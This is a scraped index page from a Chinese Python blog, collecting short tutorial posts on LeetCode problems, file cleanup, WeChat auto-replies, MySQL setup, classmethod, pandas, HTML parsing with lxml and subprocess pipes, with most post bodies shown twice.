leetcode Day2 Hamming Distance 海明距离

李魔佛 发表了文章 • 0 个评论 • 3752 次浏览 • 2017-02-26 21:57 • 来自相关话题

The Hamming distance between two integers is the number of positions at which the corresponding bits are different.

Given two integers x and y, calculate the Hamming distance.

Note:
0 ≤ x, y < 231.

Example:
 
Input: x = 1, y = 4

Output: 2

Explanation:
1 (0 0 0 1)
4 (0 1 0 0)
↑ ↑

The above arrows point to positions where the corresponding bits are different.

中文的大概意思是,两个数取异或,然后看异或后,1的个数,也就是二进制数中不同位的个数。 这编码常用于信道编码。
 
python中异或用符号^, 然后python自带一个函数bin(),可以把一个数转换为二进制。
转为为二进制后,再用一个循环计算1出现的个数。
 
上代码:
 
x=10
y=20
z=x^y
#solution 1
s=bin(z)
print type(s)
distance=0
for i in s[2:]:
if i=='1':
distance+=1
print "distance is %d" %distance 查看全部
The Hamming distance between two integers is the number of positions at which the corresponding bits are different.

Given two integers x and y, calculate the Hamming distance.

Note:
0 ≤ x, y < 231.

Example:
 
Input: x = 1, y = 4

Output: 2

Explanation:
1 (0 0 0 1)
4 (0 1 0 0)
↑ ↑

The above arrows point to positions where the corresponding bits are different.

中文的大概意思是,两个数取异或,然后看异或后,1的个数,也就是二进制数中不同位的个数。 这编码常用于信道编码。
 
python中异或用符号^, 然后python自带一个函数bin(),可以把一个数转换为二进制。
转为为二进制后,再用一个循环计算1出现的个数。
 
上代码:
 
x=10
y=20
z=x^y
#solution 1
s=bin(z)
print type(s)
distance=0
for i in s[2:]:
if i=='1':
distance+=1
print "distance is %d" %distance

leetcode Day1 Two Sum 两数之和

李魔佛 发表了文章 • 0 个评论 • 3732 次浏览 • 2017-02-25 18:39 • 来自相关话题

题目:
Given an array of integers, return indices of the two numbers such that they add up to a specific target.

You may assume that each input would have exactly one solution, and you may not use the same element twice.

Example:
Given 
nums = [2, 7, 11, 15], target = 9, 
Because nums[0] + nums[1] = 2 + 7 = 9, 
return [0, 1].
 
中文意思就是,给定输入一个列表和一个目标数, 输出的是两个数的下标,这个数的对应的值相加,等于目标数。
 
上代码:

def twoSum(nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
indics=[]
for i in range(len(nums)-1):
#使用两次循环,类似于冒泡算法,尝试每个数和另外一个数的和,枚举
for j in range(i+1,len(nums)):
if target== nums[i]+nums[j]:
indics.append(i)
indics.append(j)
return indics
  查看全部
题目:
Given an array of integers, return indices of the two numbers such that they add up to a specific target.

You may assume that each input would have exactly one solution, and you may not use the same element twice.

Example:
Given 
nums = [2, 7, 11, 15], target = 9, 
Because nums[0] + nums[1] = 2 + 7 = 9, 
return [0, 1].
 
中文意思就是,给定输入一个列表和一个目标数, 输出的是两个数的下标,这个数的对应的值相加,等于目标数。
 
上代码:

def twoSum(nums, target):
"""
:type nums: List[int]
:type target: int
:rtype: List[int]
"""
indics=[]
for i in range(len(nums)-1):
#使用两次循环,类似于冒泡算法,尝试每个数和另外一个数的和,枚举
for j in range(i+1,len(nums)):
if target== nums[i]+nums[j]:
indics.append(i)
indics.append(j)
return indics

 

python 遍历文件夹 删除 txt后缀的文件(或者其他符合规律的文件)

李魔佛 发表了文章 • 0 个评论 • 4652 次浏览 • 2017-02-19 21:23 • 来自相关话题

使用cabilre生产的电子书文件目录下,会有一个txt和aw3格式的两个文件,但是放入电子书kindle中只需要一个aw3就好了,不然重复的文件会在kindle上显示2本一样的书
 
代码如下:
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import os,re

cwd=os.getcwd()
p=re.compile('\.txt')
print cwd
for dirpath, dirname,filename in os.walk(cwd):
#print dirpath,dirname,filename
#print dirpath
print dirname
print type(filename)
if filename is not None:
for i in filename:
#if filename is not None:

if p.search(i):
os.remove(os.path.join(dirpath,i)) 查看全部
使用cabilre生产的电子书文件目录下,会有一个txt和aw3格式的两个文件,但是放入电子书kindle中只需要一个aw3就好了,不然重复的文件会在kindle上显示2本一样的书
 
代码如下:
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import os,re

cwd=os.getcwd()
p=re.compile('\.txt')
print cwd
for dirpath, dirname,filename in os.walk(cwd):
#print dirpath,dirname,filename
#print dirpath
print dirname
print type(filename)
if filename is not None:
for i in filename:
#if filename is not None:

if p.search(i):
os.remove(os.path.join(dirpath,i))

在学习装饰器的过程中遇到的奇怪的输出

回复

李魔佛 发起了问题 • 1 人关注 • 0 个回复 • 4635 次浏览 • 2017-02-09 18:56 • 来自相关话题

微信自动回复 微信小助手

李魔佛 发表了文章 • 0 个评论 • 6115 次浏览 • 2017-02-04 15:30 • 来自相关话题

无意中发现itchat这个库,python太牛了,只有想不到,没有做不到哈。
 
用法很简单。
 
#-*-coding=utf-8-*-
import itchat

@itchat.msg_register(itchat.content.TEXT)
def text_reply(msg):
reply_msg=u'新年快乐! 我是xxx的小秘书,你的消息已收到,主人正忙,稍后会回复你哦~'
return reply_msg

itchat.auto_login(hotReload=True)
itchat.run()
然后运行上面的python文件,用自己的微信扫码登录就可以了。
只要别人发微信给你,对方就可以收到你的自动回复的内容。
 
  查看全部
无意中发现itchat这个库,python太牛了,只有想不到,没有做不到哈。
 
用法很简单。
 
#-*-coding=utf-8-*-
import itchat

@itchat.msg_register(itchat.content.TEXT)
def text_reply(msg):
reply_msg=u'新年快乐! 我是xxx的小秘书,你的消息已收到,主人正忙,稍后会回复你哦~'
return reply_msg

itchat.auto_login(hotReload=True)
itchat.run()

然后运行上面的python文件,用自己的微信扫码登录就可以了。
只要别人发微信给你,对方就可以收到你的自动回复的内容。
 
 

使用android系统对wifi密码进行枚举破解

李魔佛 发表了文章 • 0 个评论 • 4051 次浏览 • 2017-01-25 12:31 • 来自相关话题

 
ETA 1.28
Link: https://github.com/Rockyzsu/crack_wifi_by_android
 

自动抢雪球红包 python代码

python爬虫李魔佛 发表了文章 • 0 个评论 • 17033 次浏览 • 2017-01-25 12:29 • 来自相关话题

ETA 1.30
Link https://github.com/Rockyzsu/red_bag​ 
 
 

pyautogui 在Windows下遇到 WindowsError: [Error 5] Access is denied. 错误

回复

李魔佛 发起了问题 • 1 人关注 • 0 个回复 • 5814 次浏览 • 2017-01-16 02:03 • 来自相关话题

ubuntu python安装MySQL (MySQLdb)

李魔佛 发表了文章 • 0 个评论 • 3441 次浏览 • 2016-12-29 17:53 • 来自相关话题

首先安装mysql数据库
sudo apt-get install mysql-server
设置好用户密码

然后安装pyMySQLdb,使用pip安装最方便。

pip install MySQL-python

如果遇到错误:
EnvironmentError: mysql_config not found

说明没找到配置文件, 需要安装:
libmysqlclient-dev

安装命令:

sudo apt-get install libmysqlclient-dev

安装完成之后在python命令行中输入

import MySQLdb

没有出错的话就说明安装成功了。



  查看全部
首先安装mysql数据库
sudo apt-get install mysql-server
设置好用户密码

然后安装pyMySQLdb,使用pip安装最方便。

pip install MySQL-python

如果遇到错误:
EnvironmentError: mysql_config not found

说明没找到配置文件, 需要安装:
libmysqlclient-dev

安装命令:

sudo apt-get install libmysqlclient-dev

安装完成之后在python命令行中输入

import MySQLdb

没有出错的话就说明安装成功了。



 

python NoneType的判断

李魔佛 发表了文章 • 0 个评论 • 5745 次浏览 • 2016-10-22 15:26 • 来自相关话题

比如在爬虫过程中 
content = urllib2.urlopen("http://www.qq1.com").read() 
title=bs.title.string.strip()
 
上面由于网址写错了, 那么title的值如果为NoneType (不同于null 类型) 
那么 需要用的判断和null不一样
 
if title is None:
 print "No title"
 
这样就可以避免 title哪里出错。
(TypeError: object of type 'NoneType' has no len()
或者
TypeError: object of type 'NoneType' has no strip()
查看全部
比如在爬虫过程中 
content = urllib2.urlopen("http://www.qq1.com").read() 
title=bs.title.string.strip()
 
上面由于网址写错了, 那么title的值如果为NoneType (不同于null 类型) 
那么 需要用的判断和null不一样
 
if title is None:
 print "No title"
 
这样就可以避免 title哪里出错。
(TypeError: object of type 'NoneType' has no len()
或者
TypeError: object of type 'NoneType' has no strip()

深圳汽车摇号系统的登录验证码 就是一坨垃圾学生做的

李魔佛 发表了文章 • 0 个评论 • 5520 次浏览 • 2016-10-05 23:46 • 来自相关话题

每次填完一次就自动更新,时间能不能慢点呀? 所以每次填入验证码都是提示错误。
 
网站是学生做的,漏洞百出,垃圾中的战斗机。
每次填完一次就自动更新,时间能不能慢点呀? 所以每次填入验证码都是提示错误。
 
网站是学生做的,漏洞百出,垃圾中的战斗机。

python中的 if __name__ == __main__ 语句

李魔佛 发表了文章 • 0 个评论 • 2606 次浏览 • 2016-08-16 17:24 • 来自相关话题

python中 的

if "__name__" == "__main__" :

    不一定会在开头执行, 因为前面还有语句呢。
比如:

print "Hello"
if "__name__"=="__main__":
    print "Main"

这个就会打印
Hello
Mian
  查看全部

python中 的

if "__name__" == "__main__" :

    不一定会在开头执行, 因为前面还有语句呢。
比如:

print "Hello"
if "__name__"=="__main__":
    print "Main"

这个就会打印
Hello
Mian
 

python 判断sqlite数据库中的表是否存在,不存在就创建

李魔佛 发表了文章 • 0 个评论 • 31140 次浏览 • 2016-08-11 22:26 • 来自相关话题

#判断表存不存在来创建表
def create_table():

conn = sqlite3.connect(db_name)
try:
create_tb_cmd='''
CREATE TABLE IF NOT EXISTS USER
(NAME TEXT,
AGE INT,
SALARY REAL);
'''
#主要就是上面的语句
conn.execute(create_tb_cmd)
except:
print "Create table failed"
return False
insert_dt_cmd='''
INSERT INTO USER (NAME,AGE,SALARY) VALUES ("Jack",10,20.1);
'''
conn.execute(insert_dt_cmd)
conn.commit()
conn.close() 
代码如上,主要就是 
CREATE TABLE IF NOT EXISTS USER 查看全部
#判断表存不存在来创建表
def create_table():

conn = sqlite3.connect(db_name)
try:
create_tb_cmd='''
CREATE TABLE IF NOT EXISTS USER
(NAME TEXT,
AGE INT,
SALARY REAL);
'''
#主要就是上面的语句
conn.execute(create_tb_cmd)
except:
print "Create table failed"
return False
insert_dt_cmd='''
INSERT INTO USER (NAME,AGE,SALARY) VALUES ("Jack",10,20.1);
'''
conn.execute(insert_dt_cmd)
conn.commit()
conn.close()
 
代码如上,主要就是 
CREATE TABLE IF NOT EXISTS USER

python @classmethod 的使用场合

李魔佛 发表了文章 • 0 个评论 • 13015 次浏览 • 2016-08-07 11:01 • 来自相关话题

官方的说法: 
classmethod(function)
中文说明:
classmethod是用来指定一个类的方法为类方法,没有此参数指定的类的方法为实例方法,使用方法如下:class C:
@classmethod
def f(cls, arg1, arg2, ...): ...
 
 看后之后真是一头雾水。说的啥子东西呢???
 
自己到国外的论坛看其他的例子和解释,顿时就很明朗。 下面自己用例子来说明。
 
看下面的定义的一个时间类:class Data_test(object):
day=0
month=0
year=0
def __init__(self,year=0,month=0,day=0):
self.day=day
self.month=month
self.year=year

def out_date(self):
print "year :"
print self.year
print "month :"
print self.month
print "day :"
print self.day



t=Data_test(2016,8,1)
t.out_date()




输出: year :
2016
month :
8
day :
1
符合期望。
 
如果用户输入的是 "2016-8-1" 这样的字符格式,那么就需要调用Date_test 类前做一下处理:string_date='2016-8-1'
year,month,day=map(int,string_date.split('-'))
s=Data_test(year,month,day)
先把‘2016-8-1’ 分解成 year,month,day 三个变量,然后转成int,再调用Date_test(year,month,day)函数。 也很符合期望。
 
那我可不可以把这个字符串处理的函数放到 Date_test 类当中呢?
 
那么@classmethod 就开始出场了class Data_test2(object):
day=0
month=0
year=0
def __init__(self,year=0,month=0,day=0):
self.day=day
self.month=month
self.year=year

@classmethod
def get_date(cls,
string_date):
#这里第一个参数是cls, 表示调用当前的类名
year,month,day=map(int,string_date.split('-'))
date1=cls(year,month,day)
#返回的是一个初始化后的类
return date1

def out_date(self):
print "year :"
print self.year
print "month :"
print self.month
print "day :"
print self.day
在Date_test类里面创建一个成员函数, 前面用了@classmethod装饰。 它的作用就是有点像静态类,比静态类不一样的就是它可以传进来一个当前类作为第一个参数。
 
那么如何调用呢?r=Data_test2.get_date("2016-8-6")
r.out_date()输出:year :
2016
month :
8
day :
1
这样子等于先调用get_date()对字符串进行处理,然后才使用Data_test的构造函数初始化。
 
这样的好处就是你以后重构类的时候不必要修改构造函数,只需要额外添加你要处理的函数,然后使用装饰符 @classmethod 就可以了。
 
 
本文原创
转载请注明出处:http://30daydo.com/article/89
  查看全部
官方的说法: 
classmethod(function)
中文说明:
classmethod是用来指定一个类的方法为类方法,没有此参数指定的类的方法为实例方法,使用方法如下:
class C:
@classmethod
def f(cls, arg1, arg2, ...): ...

 
 看后之后真是一头雾水。说的啥子东西呢???
 
自己到国外的论坛看其他的例子和解释,顿时就很明朗。 下面自己用例子来说明。
 
看下面的定义的一个时间类:
class Data_test(object):
day=0
month=0
year=0
def __init__(self,year=0,month=0,day=0):
self.day=day
self.month=month
self.year=year

def out_date(self):
print "year :"
print self.year
print "month :"
print self.month
print "day :"
print self.day



t=Data_test(2016,8,1)
t.out_date()




输出: 
year :
2016
month :
8
day :
1

符合期望。
 
如果用户输入的是 "2016-8-1" 这样的字符格式,那么就需要调用Date_test 类前做一下处理:
string_date='2016-8-1'
year,month,day=map(int,string_date.split('-'))
s=Data_test(year,month,day)

先把‘2016-8-1’ 分解成 year,month,day 三个变量,然后转成int,再调用Date_test(year,month,day)函数。 也很符合期望。
 
那我可不可以把这个字符串处理的函数放到 Date_test 类当中呢?
 
那么@classmethod 就开始出场了
class Data_test2(object):
day=0
month=0
year=0
def __init__(self,year=0,month=0,day=0):
self.day=day
self.month=month
self.year=year

@classmethod
def get_date(cls,
string_date):
#这里第一个参数是cls, 表示调用当前的类名
year,month,day=map(int,string_date.split('-'))
date1=cls(year,month,day)
#返回的是一个初始化后的类
return date1

def out_date(self):
print "year :"
print self.year
print "month :"
print self.month
print "day :"
print self.day

在Date_test类里面创建一个成员函数, 前面用了@classmethod装饰。 它的作用就是有点像静态类,比静态类不一样的就是它可以传进来一个当前类作为第一个参数。
 
那么如何调用呢?
r=Data_test2.get_date("2016-8-6")
r.out_date()
输出:
year :
2016
month :
8
day :
1

这样子等于先调用get_date()对字符串进行处理,然后才使用Data_test的构造函数初始化。
 
这样的好处就是你以后重构类的时候不必要修改构造函数,只需要额外添加你要处理的函数,然后使用装饰符 @classmethod 就可以了。
 
 
本文原创
转载请注明出处:http://30daydo.com/article/89
 

怎么segmentfault上的问题都这么入门级别的?

李魔佛 发表了文章 • 0 个评论 • 2284 次浏览 • 2016-07-28 16:37 • 来自相关话题

遇到一些问题,上去segmentfault上搜索答案,以为segmentfault是中文版的stackoverflow。 结果大失所望。
基本都是一些菜鸟的问题。
 
搜索关键字: python
出来的是





 
结果都是怎么安装python,选择python2还是python3 这一类的问题。 着实无语。
看来在中国肯义务分享技术的人并不像国外那么多,那么慷慨。
(也有可能大神们都在忙于做项目,没空帮助小白们吧) 查看全部
遇到一些问题,上去segmentfault上搜索答案,以为segmentfault是中文版的stackoverflow。 结果大失所望。
基本都是一些菜鸟的问题。
 
搜索关键字: python
出来的是

segenfault.PNG

 
结果都是怎么安装python,选择python2还是python3 这一类的问题。 着实无语。
看来在中国肯义务分享技术的人并不像国外那么多,那么慷慨。
(也有可能大神们都在忙于做项目,没空帮助小白们吧)

使用pandas的dataframe数据进行操作的总结

李魔佛 发表了文章 • 0 个评论 • 5648 次浏览 • 2016-07-17 16:47 • 来自相关话题

t = df.iloc[0]<class 'pandas.core.series.Series'>
 
#使用iloc后,t已经变成了一个子集。 已经不再是一个dataframe数据。 所以你使用 t['high'] 返回的是一个值。此时t已经没有index了,如果这个时候调用 t.index
 
t=df[:1]
class 'pandas.core.frame.DataFrame'>
 
#这是返回的是一个DataFrame的一个子集。 此时 你可以继续用dateFrame的一些方法进行操作。
 
 
 
 
 
删除dataframe中某一行
 
df.drop()
 
df的内容如下:





 
    df.drop(df[df[u'代码']==300141.0].index,inplace=True)
    print df
 
输出如下





 
记得参数inplace=True, 因为默认的值为inplace=False,意思就是你不添加的话就使用Falase这个值。
这样子原来的df不会被修改, 只是会返回新的修改过的df。 这样的话需要用一个新变量来承接它
new_df=df.drop(df[df[u'代码']==300141.0].index)
 

判断DataFrame为None
  if df is None:
print "None len==0"
return False
  查看全部
t = df.iloc[0]<class 'pandas.core.series.Series'>
 
#使用iloc后,t已经变成了一个子集。 已经不再是一个dataframe数据。 所以你使用 t['high'] 返回的是一个值。此时t已经没有index了,如果这个时候调用 t.index
 
t=df[:1]
class 'pandas.core.frame.DataFrame'>
 
#这是返回的是一个DataFrame的一个子集。 此时 你可以继续用dateFrame的一些方法进行操作。
 
 
 
 
 
删除dataframe中某一行
 
df.drop()
 
df的内容如下:

drop.PNG

 
    df.drop(df[df[u'代码']==300141.0].index,inplace=True)
    print df
 
输出如下

after_drop.PNG

 
记得参数inplace=True, 因为默认的值为inplace=False,意思就是你不添加的话就使用Falase这个值。
这样子原来的df不会被修改, 只是会返回新的修改过的df。 这样的话需要用一个新变量来承接它
new_df=df.drop(df[df[u'代码']==300141.0].index)
 

判断DataFrame为None
 
    if df is None:
print "None len==0"
return False

 

python 爬虫下载的图片打不开?

李魔佛 发表了文章 • 0 个评论 • 6842 次浏览 • 2016-07-09 17:33 • 来自相关话题

 
代码如下片段
 
__author__ = 'rocky'
import urllib,urllib2,StringIO,gzip
url="http://image.xitek.com/photo/2 ... ot%3B
filname=url.split("/")[-1]
req=urllib2.Request(url)
resp=urllib2.urlopen(req)
content=resp.read()
#data = StringIO.StringIO(content)
#gzipper = gzip.GzipFile(fileobj=data)
#html = gzipper.read()
f=open(filname,'w')
f.write()
f.close()

运行后生成的文件打开后不显示图片。
 
后来调试后发现,如果要保存为图片格式, 文件的读写需要用'wb', 也就是上面代码中
f=open(filname,'w') 改一下 改成

f=open(filname,'wb')
 
就可以了。
  查看全部
 
代码如下片段
 
__author__ = 'rocky'
import urllib,urllib2,StringIO,gzip
url="http://image.xitek.com/photo/2 ... ot%3B
filname=url.split("/")[-1]
req=urllib2.Request(url)
resp=urllib2.urlopen(req)
content=resp.read()
#data = StringIO.StringIO(content)
#gzipper = gzip.GzipFile(fileobj=data)
#html = gzipper.read()
f=open(filname,'w')
f.write()
f.close()

运行后生成的文件打开后不显示图片。
 
后来调试后发现,如果要保存为图片格式, 文件的读写需要用'wb', 也就是上面代码中
f=open(filname,'w') 改一下 改成

f=open(filname,'wb')
 
就可以了。
 

判断网页内容是否经过gzip压缩 python代码

李魔佛 发表了文章 • 0 个评论 • 3745 次浏览 • 2016-07-09 15:10 • 来自相关话题

同一个网页某些页面会通过gzip压缩网页内容,给正常的爬虫造成一定的错误干扰。
 
那么可以在代码中添加一个判断,判断网页内容是否经过gzip压缩,是的话多一个处理就可以了。
 





 
同一个网页某些页面会通过gzip压缩网页内容,给正常的爬虫造成一定的错误干扰。
 
那么可以在代码中添加一个判断,判断网页内容是否经过gzip压缩,是的话多一个处理就可以了。
 

gzip.PNG

 

python 下使用beautifulsoup还是lxml ?

李魔佛 发表了文章 • 0 个评论 • 7323 次浏览 • 2016-06-29 18:29 • 来自相关话题

刚开始接触爬虫是从beautifulsoup开始的,觉得beautifulsoup很好用。 然后后面又因为使用scrapy的缘故,接触到lxml。 到底哪一个更加好用?
 
然后看了下beautifulsoup的源码,其实现原理使用的是正则表达式,而lxml使用的节点递归的技术。
 

Don't use BeautifulSoup, use lxml.soupparser then you're sitting on top of the power of lxml and can use the good bits of BeautifulSoup which is to deal with really broken and crappy HTML.
 
 
 
9down vote
In summary, lxml is positioned as a lightning-fast production-quality html and xml parser that, by the way, also includes a soupparser module to fall back on BeautifulSoup's functionality. BeautifulSoupis a one-person project, designed to save you time to quickly extract data out of poorly-formed html or xml.
lxml documentation says that both parsers have advantages and disadvantages. For this reason, lxml provides a soupparser so you can switch back and forth. Quoting,
[quote]
BeautifulSoup uses a different parsing approach. It is not a real HTML parser but uses regular expressions to dive through tag soup. It is therefore more forgiving in some cases and less good in others. It is not uncommon that lxml/libxml2 parses and fixes broken HTML better, but BeautifulSoup has superiour support for encoding detection. It very much depends on the input which parser works better.

In the end they are saying,

The downside of using this parser is that it is much slower than the HTML parser of lxml. So if performance matters, you might want to consider using soupparser only as a fallback for certain cases.

If I understand them correctly, it means that the soup parser is more robust --- it can deal with a "soup" of malformed tags by using regular expressions --- whereas lxml is more straightforward and just parses things and builds a tree as you would expect. I assume it also applies to BeautifulSoup itself, not just to the soupparser for lxml.
They also show how to benefit from BeautifulSoup's encoding detection, while still parsing quickly with lxml:[code]>>> from BeautifulSoup import UnicodeDammit

>>> def decode_html(html_string):
... converted = UnicodeDammit(html_string, isHTML=True)
... if not converted.unicode:
... raise UnicodeDecodeError(
... "Failed to detect encoding, tried [%s]",
... ', '.join(converted.triedEncodings))
... # print converted.originalEncoding
... return converted.unicode

>>> root = lxml.html.fromstring(decode_html(tag_soup))[/code]
(Same source: http://lxml.de/elementsoup.html).
In words of BeautifulSoup's creator,

That's it! Have fun! I wrote Beautiful Soup to save everybody time. Once you get used to it, you should be able to wrangle data out of poorly-designed websites in just a few minutes. Send me email if you have any comments, run into problems, or want me to know about your project that uses Beautiful Soup.[code] --Leonard[/code]

Quoted from the Beautiful Soup documentation.
I hope this is now clear. The soup is a brilliant one-person project designed to save you time to extract data out of poorly-designed websites. The goal is to save you time right now, to get the job done, not necessarily to save you time in the long term, and definitely not to optimize the performance of your software.
Also, from the lxml website,

lxml has been downloaded from the Python Package Index more than two million times and is also available directly in many package distributions, e.g. for Linux or MacOS-X.

And, from Why lxml?,

The C libraries libxml2 and libxslt have huge benefits:... Standards-compliant... Full-featured... fast. fast! FAST! ... lxml is a new Python binding for libxml2 and libxslt...

[/quote]
意思大概就是 不要用Beautifulsoup,使用lxml, lxml才能让你提要到让你体会到html节点解析的速度之快。
 
   查看全部
刚开始接触爬虫是从beautifulsoup开始的,觉得beautifulsoup很好用。 然后后面又因为使用scrapy的缘故,接触到lxml。 到底哪一个更加好用?
 
然后看了下beautifulsoup的源码,其实现原理使用的是正则表达式,而lxml使用的节点递归的技术。
 


Don't use BeautifulSoup, use lxml.soupparser then you're sitting on top of the power of lxml and can use the good bits of BeautifulSoup which is to deal with really broken and crappy HTML.
 
 
 
9down vote
In summary, 

lxml
 is positioned as a lightning-fast production-quality html and xml parser that, by the way, also includes a 
soupparser
 module to fall back on BeautifulSoup's functionality. 
BeautifulSoup
is a one-person project, designed to save you time to quickly extract data out of poorly-formed html or xml.
lxml documentation says that both parsers have advantages and disadvantages. For this reason, 
lxml
 provides a 
soupparser
 so you can switch back and forth. Quoting,
[quote]
BeautifulSoup uses a different parsing approach. It is not a real HTML parser but uses regular expressions to dive through tag soup. It is therefore more forgiving in some cases and less good in others. It is not uncommon that lxml/libxml2 parses and fixes broken HTML better, but BeautifulSoup has superiour support for encoding detection. It very much depends on the input which parser works better.


In the end they are saying,


The downside of using this parser is that it is much slower than the HTML parser of lxml. So if performance matters, you might want to consider using soupparser only as a fallback for certain cases.


If I understand them correctly, it means that the soup parser is more robust --- it can deal with a "soup" of malformed tags by using regular expressions --- whereas 
lxml
 is more straightforward and just parses things and builds a tree as you would expect. I assume it also applies to 
BeautifulSoup
 itself, not just to the 
soupparser
 for 
lxml
.
They also show how to benefit from 
BeautifulSoup
's encoding detection, while still parsing quickly with 
lxml
:
[code]>>> from BeautifulSoup import UnicodeDammit

>>> def decode_html(html_string):
... converted = UnicodeDammit(html_string, isHTML=True)
... if not converted.unicode:
... raise UnicodeDecodeError(
... "Failed to detect encoding, tried [%s]",
... ', '.join(converted.triedEncodings))
... # print converted.originalEncoding
... return converted.unicode

>>> root = lxml.html.fromstring(decode_html(tag_soup))
[/code]
(Same source: http://lxml.de/elementsoup.html).
In words of 
BeautifulSoup
's creator,


That's it! Have fun! I wrote Beautiful Soup to save everybody time. Once you get used to it, you should be able to wrangle data out of poorly-designed websites in just a few minutes. Send me email if you have any comments, run into problems, or want me to know about your project that uses Beautiful Soup.

[code] --Leonard
[/code]


Quoted from the Beautiful Soup documentation.
I hope this is now clear. The soup is a brilliant one-person project designed to save you time to extract data out of poorly-designed websites. The goal is to save you time right now, to get the job done, not necessarily to save you time in the long term, and definitely not to optimize the performance of your software.
Also, from the lxml website,


lxml has been downloaded from the Python Package Index more than two million times and is also available directly in many package distributions, e.g. for Linux or MacOS-X.


And, from Why lxml?,


The C libraries libxml2 and libxslt have huge benefits:... Standards-compliant... Full-featured... fast. fast! FAST! ... lxml is a new Python binding for libxml2 and libxslt...


[/quote]
意思大概就是 不要用Beautifulsoup,使用lxml, lxml才能让你提要到让你体会到html节点解析的速度之快。
 
  

python获取列表中的最大值

李魔佛 发表了文章 • 0 个评论 • 4743 次浏览 • 2016-06-29 16:35 • 来自相关话题

其实python提供了内置的max函数,直接调用即可。
 
list=[1,2,3,5,4,6,434,2323,333,99999]
print "max of list is ",
print max(list)
输出 99999 查看全部
其实python提供了内置的max函数,直接调用即可。
 
    list=[1,2,3,5,4,6,434,2323,333,99999]
print "max of list is ",
print max(list)

输出 99999

python使用lxml加载 html---xpath

李魔佛 发表了文章 • 0 个评论 • 2685 次浏览 • 2016-06-23 22:09 • 来自相关话题

首先确定安装了lxml。
然后按照以下代码去使用
 
#-*-coding=utf-8-*-
__author__ = 'rocchen'
from lxml import html
from lxml import etree
import urllib2

def lxml_test():
url="http://www.caixunzz.com"
req=urllib2.Request(url=url)
resp=urllib2.urlopen(req)
#print resp.read()

tree=etree.HTML(resp.read())
href=tree.xpath('//a[@class="label"]/@href')
#print href.tag
for i in href:
#print html.tostring(i)
#print type(i)
print i

print type(href)

lxml_test()

使用urllib2读取了网页内容,然后导入到lxml,为的就是使用xpath这个方便的函数。 比单纯使用beautifulsoup要方便的多。(个人认为) 查看全部
首先确定安装了lxml。
然后按照以下代码去使用
 
#-*-coding=utf-8-*-
__author__ = 'rocchen'
from lxml import html
from lxml import etree
import urllib2

def lxml_test():
url="http://www.caixunzz.com"
req=urllib2.Request(url=url)
resp=urllib2.urlopen(req)
#print resp.read()

tree=etree.HTML(resp.read())
href=tree.xpath('//a[@class="label"]/@href')
#print href.tag
for i in href:
#print html.tostring(i)
#print type(i)
print i

print type(href)

lxml_test()

使用urllib2读取了网页内容,然后导入到lxml,为的就是使用xpath这个方便的函数。 比单纯使用beautifulsoup要方便的多。(个人认为)

python中字典赋值常见错误

李魔佛 发表了文章 • 0 个评论 • 3469 次浏览 • 2016-06-19 11:39 • 来自相关话题

初学Python,在学到字典时,出现了一个疑问,见下两个算例:
算例一:>>> x = { }
>>> y = x
>>> x = { 'a' : 'b' }
>>> y
>>> { }
算例二:>>> x = { }
>>> y = x
>>> x['a'] = 'b'
>>> y
>>> { 'a' : 'b' }

疑问:为什么算例一中,给x赋值后,y没变(还是空字典),而算例二中,对x进行添加项的操作后,y就会同步变化。
 
 
解答:

y = x 那么x,y 是对同一个对象的引用。
算例一
中x = { 'a' : 'b' } x引用了一个新的字典对象
所以出现你说的情况。
算例二:修改y,x 引用的同一字典,所以出现你说的情况。

可以加id(x), id(y) ,如果id() 函数的返回值相同,表示是对同一个对象的引用。


  查看全部
初学Python,在学到字典时,出现了一个疑问,见下两个算例:
算例一:
>>> x = { }
>>> y = x
>>> x = { 'a' : 'b' }
>>> y
>>> { }

算例二:
>>> x = { }
>>> y = x
>>> x['a'] = 'b'
>>> y
>>> { 'a' : 'b' }


疑问:为什么算例一中,给x赋值后,y没变(还是空字典),而算例二中,对x进行添加项的操作后,y就会同步变化。
 
 
解答:

y = x 那么x,y 是对同一个对象的引用。
算例一
中x = { 'a' : 'b' } x引用了一个新的字典对象
所以出现你说的情况。
算例二:修改y,x 引用的同一字典,所以出现你说的情况。

可以加id(x), id(y) ,如果id() 函数的返回值相同,表示是对同一个对象的引用。


 

ubuntu12.04 安装 scrapy 爬虫模块 一系列问题与解决办法

回复

李魔佛 发起了问题 • 1 人关注 • 0 个回复 • 4979 次浏览 • 2016-06-16 16:18 • 来自相关话题

subprocess popen 使用PIPE 阻塞进程,导致程序无法继续运行

李魔佛 发表了文章 • 0 个评论 • 8869 次浏览 • 2016-06-12 18:31 • 来自相关话题

 
subprocess用于在python内部创建一个子进程,比如调用shell脚本等。

举例:p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)
p.wait()
// hang here
print "finished"

在python的官方文档中对这个进行了解释:http://docs.python.org/2/library/subprocess.html

原因是stdout产生的内容太多,超过了系统的buffer

解决方法是使用communicate()方法。p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)
stdout, stderr = p.communicate()
p.wait()
print "Finsih" 查看全部
 
subprocess用于在python内部创建一个子进程,比如调用shell脚本等。

举例:
p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)
p.wait()
// hang here
print "finished"


在python的官方文档中对这个进行了解释:http://docs.python.org/2/library/subprocess.html

原因是stdout产生的内容太多,超过了系统的buffer

解决方法是使用communicate()方法。
p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)
stdout, stderr = p.communicate()
p.wait()
print "Finsih"

抓取 知乎日报 中的 大误 系类文章,生成电子书推送到kindle

python爬虫李魔佛 发表了文章 • 0 个评论 • 8797 次浏览 • 2016-06-12 08:52 • 来自相关话题

无意中看了知乎日报的大误系列的一篇文章,之后就停不下来了,大误是虚构故事,知乎上神人虚构故事的功力要高于网络上的很多写手啊!! 看的欲罢不能,不过还是那句,手机屏幕太小,连续看几个小时很疲劳,而且每次都要联网去看。 
 
所以写了下面的python脚本,一劳永逸。 脚本抓取大误从开始到现在的所有文章,并推送到你自己的kindle账号。
 




# -*- coding=utf-8 -*-
__author__ = 'rocky @ www.30daydo.com'
import urllib2, re, os, codecs,sys,datetime
from bs4 import BeautifulSoup
# example https://zhhrb.sinaapp.com/index.php?date=20160610
from mail_template import MailAtt
reload(sys)
sys.setdefaultencoding('utf-8')

def save2file(filename, content):
